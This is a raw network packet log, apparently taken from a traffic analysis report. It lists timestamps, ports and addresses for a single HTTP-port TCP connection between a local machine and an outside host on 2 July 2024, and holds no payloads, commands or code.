Jul 2, 2024 12:21:05.326287031 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.326287031 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326306105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326319933 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326339960 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.326353073 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326364994 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326365948 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.326415062 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.326428890 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326442003 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326448917 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.326458931 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326471090 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.326476097 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326498985 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.326534986 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.326539993 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326555967 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326571941 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326600075 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.326625109 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.326674938 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326690912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326723099 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326740026 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326741934 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.326756954 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326760054 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.326821089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326838017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326858997 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.326869011 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326884985 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.326885939 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326910019 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.326951027 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326967955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.326987982 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.326997995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327012062 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327013969 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.327047110 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.327086926 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327102900 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327124119 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.327132940 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327147961 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.327150106 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327167034 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327187061 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.327197075 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327219009 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.327238083 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.327327967 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327361107 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327378035 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327380896 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.327394962 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327406883 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.327411890 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327429056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327430964 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.327447891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327460051 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.327464104 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327478886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327492952 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.327495098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327512026 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327526093 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.327661037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327677965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327686071 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.327693939 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327706099 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.327730894 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.327814102 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327830076 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327862024 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327873945 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.327878952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327896118 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327915907 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.327927113 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327943087 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327944040 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.327960014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.327974081 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.327991962 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328023911 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.328103065 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328134060 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328151941 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328164101 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.328167915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328182936 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328191042 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.328197956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328212023 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.328214884 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328244925 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328274012 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.328372955 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.328394890 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328411102 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328427076 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328443050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328450918 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.328458071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328474045 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328488111 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.328511953 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328531027 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328536034 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.328547001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328553915 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.328562975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328583956 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.328615904 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.328640938 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328736067 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328763962 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328795910 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.328811884 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328828096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328847885 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.328860044 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328875065 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.328877926 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328900099 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.328924894 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.328942060 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328958988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328990936 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.328999043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.329011917 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.329014063 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.329020023 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.329032898 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.329041004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.329047918 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.329051018 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.329063892 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.329096079 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.329096079 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.329221964 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.329226971 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.329236984 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.329241991 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.329246998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.329258919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.329273939 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.329319954 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.414191961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.414261103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.414278984 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.414293051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.414302111 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.414325953 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.414326906 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.414357901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.414364100 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.414390087 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.414401054 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.414423943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.414462090 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.414535999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.414585114 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.414616108 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.414660931 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.414724112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.414756060 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.414779902 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.414788008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.414797068 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.414824009 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.414827108 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.414859056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.414891005 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.414921045 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.414921999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.414951086 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.414974928 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415029049 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415060043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415091991 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415117025 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415117025 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415128946 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415147066 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415177107 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415179968 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415208101 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415220022 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415244102 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415258884 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415291071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415296078 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415338039 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415383101 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415386915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415447950 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415472031 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415488958 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415494919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415528059 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415537119 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415560007 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415591955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415591955 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415610075 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415638924 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415652037 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415676117 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415689945 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415693998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415728092 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415739059 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415739059 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415759087 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415791035 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415800095 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415822983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415827990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415854931 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415893078 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415903091 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415935993 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.415956974 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415971994 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.415983915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416016102 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416024923 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.416047096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416078091 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416090012 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.416115999 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.416126966 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416158915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416189909 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416229963 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.416238070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416270018 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416292906 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.416301966 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416321039 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.416337013 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.416349888 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416380882 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416412115 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416419983 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.416445017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416454077 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.416476011 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416477919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.416527987 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416558981 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416589975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416594982 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.416620016 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.416637897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416646957 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.416668892 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416701078 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416722059 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.416733980 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416749001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.416765928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416779041 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.416809082 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.416810036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416842937 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416865110 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.416873932 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.416886091 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.416932106 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.416980982 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417023897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417028904 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.417056084 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417071104 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.417088032 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417100906 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.417135000 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417155027 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.417167902 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417171001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.417223930 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.417228937 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417260885 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417294979 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417299986 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.417325974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417365074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417371035 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.417397022 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417407990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.417428970 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417437077 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.417459965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417469025 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.417491913 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417503119 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.417527914 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.417526960 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417563915 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.417644978 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417676926 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417710066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417715073 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.417742968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417747974 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.417784929 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.417792082 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417823076 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417841911 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.417854071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417866945 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.417885065 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417889118 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.417933941 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.417969942 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.417983055 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418014050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418036938 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.418045044 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418062925 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.418076038 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418086052 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.418104887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:05.418112040 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:05.418154955 CEST	80	49699	85.28.47.4	192.168.2.7
